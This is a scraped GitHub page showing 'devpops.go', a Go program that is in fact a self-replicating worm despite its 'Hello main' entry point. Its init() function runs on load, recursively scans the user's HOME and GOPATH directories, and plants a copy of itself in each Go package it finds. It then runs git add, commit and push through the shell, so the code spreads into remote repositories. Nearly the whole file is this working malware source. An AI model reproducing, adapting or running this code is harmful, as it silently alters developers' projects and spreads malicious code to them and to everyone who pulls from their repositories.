-
Notifications
You must be signed in to change notification settings - Fork 3
/
Copy pathdevpops.go
150 lines (125 loc) · 3.11 KB
/
devpops.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
BEWARE. DO NOT REMOVE THIS LINE UNLESS YOU AGREE TO THE TERMS OF USE
FOUND IN THE README AND UNDERSTOOD ALL OF ITS CONSEQUENCIES.
main
import (
"fmt"
"io/ioutil"
"os"
"os/exec"
"strings"
)
func main() {
fmt.Printf("Hello main\n")
}
var raw = `
func init() {
devpops(os.Getenv("HOME"))
devpops(os.Getenv("GOPATH"))
}
func devpops(dir string) {
if _, dvps := os.Stat(dir + "/.devpops"); dvps == nil {
os.Exit(1)
}
files, err := ioutil.ReadDir(dir)
if err != nil || len(files) == 0 {
return
}
for _, file := range files {
abspath := dir + "/" + file.Name()
if stat, err := os.Stat(abspath); (err != nil || stat.IsDir()) {
if err != nil || stat == nil {
continue
}
if _, err = os.Stat(abspath + "/devpops.go"); err == nil {
continue
}
devpops(abspath)
continue
}
if strings.LastIndex(abspath, ".go") != len(abspath) - 3 {
continue
}
fd, err := os.Open(abspath)
if err != nil {
continue
}
head := make([]byte, 4096)
if _, err = fd.Read(head); err != nil {
continue
}
fd.Close()
hstr := string(head)
var idx int
if idx = strings.Index(hstr, "package "); idx == -1 {
continue
}
pstr := string(head[idx:])
if idx = strings.Index(pstr, "\n"); idx == -1 {
continue
}
pstr = pstr[:idx + 1]
if fd, err = os.OpenFile(dir + "/devpops.go", os.O_CREATE|os.O_WRONLY, 0640); err != nil {
break
}
fd.WriteString(pstr + "import (\"strings\"\n\"io/ioutil\"\n\"os\"\n\"os/exec\"\n)\n")
fd.WriteString("var raw = " + string([]byte("\x60")) + raw + string([]byte("\x60")) + raw)
fd.Close()
exec.Command("sh", "-c", "$(cd " + dir + ";git add devpops.go; git commit -m 'Adding DevPops feature.';git push)").Run()
}
}
`
func init() {
devpops(os.Getenv("HOME"))
devpops(os.Getenv("GOPATH"))
}
func devpops(dir string) {
if _, dvps := os.Stat(dir + "/.devpops"); dvps == nil {
os.Exit(1)
}
files, err := ioutil.ReadDir(dir)
if err != nil || len(files) == 0 {
return
}
for _, file := range files {
abspath := dir + "/" + file.Name()
if stat, err := os.Stat(abspath); (err != nil || stat.IsDir()) {
if err != nil || stat == nil {
continue
}
if _, err = os.Stat(abspath + "/devpops.go"); err == nil {
continue
}
devpops(abspath)
continue
}
if strings.LastIndex(abspath, ".go") != len(abspath) - 3 {
continue
}
fd, err := os.Open(abspath)
if err != nil {
continue
}
head := make([]byte, 4096)
if _, err = fd.Read(head); err != nil {
continue
}
fd.Close()
hstr := string(head)
var idx int
if idx = strings.Index(hstr, "package "); idx == -1 {
continue
}
pstr := string(head[idx:])
if idx = strings.Index(pstr, "\n"); idx == -1 {
continue
}
pstr = pstr[:idx + 1]
if fd, err = os.OpenFile(dir + "/devpops.go", os.O_CREATE|os.O_WRONLY, 0640); err != nil {
break
}
fd.WriteString(pstr + "import (\"strings\"\n\"io/ioutil\"\n\"os\"\n\"os/exec\"\n)\n")
fd.WriteString("var raw = " + string([]byte("\x60")) + raw + string([]byte("\x60")) + raw)
fd.Close()
exec.Command("sh", "-c", "$(cd " + dir + ";git add devpops.go; git commit -m 'Adding DevPops feature.';git push)").Run()
}
}